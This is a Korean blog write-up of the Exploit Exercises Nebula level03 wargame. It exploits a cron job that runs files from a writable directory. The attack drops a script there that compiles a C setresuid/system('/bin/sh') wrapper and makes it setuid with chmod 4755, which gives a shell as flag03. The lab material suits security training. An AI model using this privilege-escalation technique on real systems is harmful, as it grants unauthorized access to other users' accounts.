본문 바로가기

Wargame/Exploit Exercises Nebula

Exploit Exercises Nebula Level03

https://exploit-exercises.com/nebula/level03/

level03 문제이다. 해당 링크에서 문제를 확인해보자.



flag03 의 홈 디렉토리를 확인해보라.

그 곳에는 crontab 을 통해 몇 분마다 실행되는 파일이 존재한다.

ID : level03   P/W : level03 으로 로그인 후에 문제를 해결하라.


해당 문제는 소스코드가 제공되지 않는다.



로그인 후에 /home/flag03/ 디렉토리를 확인해 보았다.

실행 권한이 있는 디렉토리와 쉘 스크립트 파일이 존재했다.


writable.sh

#!/bin/sh
for i in /home/flag03/writable.d/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done


/home/flag03/writable.d/ 에 존재하는 파일들을 실행하지만 

프로세스당 5만큼 CPU 타임을 사용하며 해당 파일을 bash -x로 실행시킵니다.


이 문제를 해결하기 위해서 writable.d 경로에 공격을 수행할 실행 파일을 넣고, 

crontab에 의해 그 파일이 실행되기만을 기다리면 된다.


여기서 공격을 수행할 실행 파일은 

shell을 획득할 수 있는 프로그램을 만드는 프로그램을 writable.d 디렉토리에 생성시킬 것이다. 


위의 과정을 실행할 경우 crontab -> writable.sh -> 공격 파일이 실행된다.

그렇게 되면 shell을 획득할 수 있는 프로그램이 생성될 것이다.


먼저 shell을 획득할 수 있는 프로그램의 소스를 생성하겠다.

그 전에 flag03의 uid, gid를 확인하겠다.



/etc/passwd에 있는 내용을 확인하여 flag03의 uid와 gid는 996인 것을 확인할 수 있다.

#include <stdio.h>
int main(){
        setresuid(996, 996, 996);
        setresgid(996, 996, 996);
        system("/bin/sh");
        return 0;
}

이제 해당 소스를 컴파일해서 shell을 실행하는 프로그램을 만들도록 하는 

실행 파일을 writable.d 디렉토리에 만들 것이다.


level03@nebula:/home/flag03$ python -c 'print "gcc -o /home/flag03/pwn /tmp/level03.c;chmod 4755 /home/flag03/pwn"' > /home/flag03/writable.d/executable; chmod +x /home/flag03/writable.d/executable


해당 명령어를 실행하면 writable.d 디렉토리에 실행 권한이 있는 executable 이라는 실행 파일이 생성된다.



그 후 crontab 명령어에 의해서 writable.d 디렉토리 안에 있던 execuatble이라는 파일이 실행되면서 

/home/flag03/ 디렉토리에 pwn이라는 setuid가 설정된 shell을 실행할 수 있는 파일이 생성된다.


이 후 실행한 뒤 id를 확인하면 flag03의 uid인 996으로 바뀐 것을 확인할 수 있다.


'Wargame > Exploit Exercises Nebula' 카테고리의 다른 글

Exploit Exercises Nebula Level04  (0) 2017.04.03
Exploit Exercises Nebula Level02  (0) 2017.03.31
Exploit Exercises Nebula Level01  (0) 2017.02.08
Exploit Exercises Nebula Level00  (0) 2016.12.29